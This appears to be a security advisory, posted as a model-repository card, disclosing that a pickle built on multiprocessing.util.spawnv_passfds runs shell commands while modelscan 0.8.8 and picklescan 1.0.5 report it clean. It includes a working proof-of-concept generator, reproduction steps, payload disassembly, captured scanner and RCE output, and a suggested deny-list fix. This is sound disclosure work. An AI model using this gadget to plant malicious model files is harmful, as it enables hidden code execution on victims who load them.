YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
modelscan / picklescan bypass via multiprocessing.util.spawnv_passfds reduce gadget (arbitrary command execution)
Summary
Both modelscan (Protect AI) and picklescan enforce pickle safety through a
deny-list of (module, name) global imports. A pickle whose __reduce__ returns the
stdlib callable multiprocessing.util.spawnv_passfds β a public, stable
module-level function that wraps _posixsubprocess.fork_exec and directly fork+execs an
arbitrary argv β is not present in either scanner's deny-list. Loading such a pickle
executes an arbitrary shell command while modelscan reports the file completely clean
(No issues found! π, total_issues: 0) and picklescan reports Dangerous globals: 0
with exit code 0.
- Targets:
modelscan0.8.8,picklescan1.0.5 - Impact: Arbitrary command / code execution on model load, undetected by the scanner meant to catch exactly this.
- Class: Pickle deserialization RCE via scanner deny-list bypass (new gadget).
Affected code / root cause
modelscan
modelscan/settings.py defines unsafe_globals, a per-module dict of dangerous names.
Only these modules are listed: os, nt, posix, subprocess, socket, pty,
runpy, sys, shutil, asyncio, bdb, pdb, pickle, plus a small set of
builtins / operator names. In modelscan/tools/picklescanner.py, the routine that
builds scan results (_build_scan_result_from_raw_globals) only raises an issue when a
global's module is a key in that dict. Any global whose module is not a key β
such as multiprocessing.util β produces zero issues.
picklescan
picklescan/scanner.py _unsafe_globals is a larger deny-list but likewise does not
list the multiprocessing package (nor multiprocessing.util). Unknown imports only get
a generic "Suspicious globals" note (informational; exit 0), not a "Dangerous globals"
detection.
The gadget
multiprocessing.util.spawnv_passfds(path, args, passfds) is a public, stable-signature
CPython stdlib function. Internally it calls _posixsubprocess.fork_exec(...), i.e. it
fork+execs path with argv args. Because neither scanner lists multiprocessing.util,
a single STACK_GLOBAL 'multiprocessing.util' 'spawnv_passfds' + REDUCE yields arbitrary
command execution that both scanners rate as safe.
Proof of Concept
gen_poc.py:
import pickle, pickletools
from multiprocessing.util import spawnv_passfds
CMD = b"id > /tmp/pwn_spawnv 2>&1; echo SPAWNV_PWNED >> /tmp/pwn_spawnv"
class Exploit:
def __reduce__(self):
return (spawnv_passfds, (b"/bin/sh", [b"/bin/sh", b"-c", CMD], []))
data = pickle.dumps(Exploit(), protocol=4)
open("evil_spawnv.pkl","wb").write(data)
# Negative control: os.system payload that scanners DO catch
class Control:
def __reduce__(self):
import os
return (os.system, ("id > /tmp/pwn_control",))
open("control_os.pkl","wb").write(pickle.dumps(Control(), protocol=4))
The __reduce__ returns
(multiprocessing.util.spawnv_passfds, (b"/bin/sh", [b"/bin/sh", b"-c", CMD], [])).
Steps to reproduce
python3 gen_poc.pyβ producesevil_spawnv.pkl(payload) andcontrol_os.pkl(control).modelscan -p evil_spawnv.pklβ "No issues found! π", JSONtotal_issues: 0,issues: [].picklescan -p evil_spawnv.pklβ Infected files: 0 / Dangerous globals: 0, exit 0 (only a generic "Suspicious globals: 1" note that every unknown import receives).python3 -c "import pickle; pickle.loads(open('evil_spawnv.pkl','rb').read())"β forks a child that runsid, proving RCE (/tmp/pwn_spawnvcreated withSPAWNV_PWNED).
Payload disassembly (single reduce gadget)
0: \x80 PROTO 4
11: \x8c SHORT_BINUNICODE 'multiprocessing.util'
34: \x8c SHORT_BINUNICODE 'spawnv_passfds'
51: \x93 STACK_GLOBAL
53: C SHORT_BINBYTES b'/bin/sh'
63: ] EMPTY_LIST
... MARK / '-c' / CMD / APPENDS (argv list)
140: ] EMPTY_LIST (empty passfds)
142: \x87 TUPLE3
144: R REDUCE
146: . STOP
A single STACK_GLOBAL 'multiprocessing.util' / 'spawnv_passfds' + REDUCE.
Captured evidence (verbatim)
modelscan 0.8.8 on evil_spawnv.pkl
Scanning .../evil_spawnv.pkl using modelscan.scanners.PickleUnsafeOpScan model scan
--- Summary ---
No issues found! π
JSON: {"summary": {"total_issues_by_severity": {"LOW":0,"MEDIUM":0,"HIGH":0,"CRITICAL":0},
"total_issues": 0, ... "modelscan_version":"0.8.8"...}, "issues": [], "errors": []}
picklescan 1.0.5 on evil_spawnv.pkl
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Suspicious globals: 1
Dangerous globals: 0 (exit 0)
Negative control (os.system) β modelscan
Total Issues: 1 / CRITICAL: 1
- Description: Use of unsafe operator 'system' from module 'posix'
Negative control β picklescan
control_os.pkl: dangerous import 'posix system' FOUND / Infected files: 1 / Dangerous globals: 1
The controls confirm both scanners are functioning correctly and that the
spawnv_passfds gadget specifically evades them.
End-to-end RCE via pickle.loads(evil_spawnv.pkl)
RCE OUTPUT: uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom)...
SPAWNV_PWNED
Suggested fix
Add the multiprocessing package (and specifically multiprocessing.util.spawnv_passfds,
spawnv_passfds, and the sibling process-spawning helpers) to unsafe_globals
(modelscan) and _unsafe_globals (picklescan). More robustly, treat any callable that
reaches os/posix/_posixsubprocess/subprocess fork/exec primitives as dangerous
rather than enumerating a deny-list β deny-lists of stdlib process-spawning wrappers are
inherently incomplete.
Dedup / novelty note
This gadget is distinct from all previously filed modelscan/picklescan bypasses in
this research line: joblib stopbyte / numeric-genops / numpy-ctypeslib, pickle int-radix,
cprofile-timeit, pydoc-pipepager, modelscan memo-divergence, and legacy multipickle. A
grep of the workspace drafts/PoCs confirms no prior use of spawnv_passfds,
multiprocessing.util, or fork_exec. No public CVE currently names
multiprocessing.util.spawnv_passfds as a pickle-scanner bypass gadget.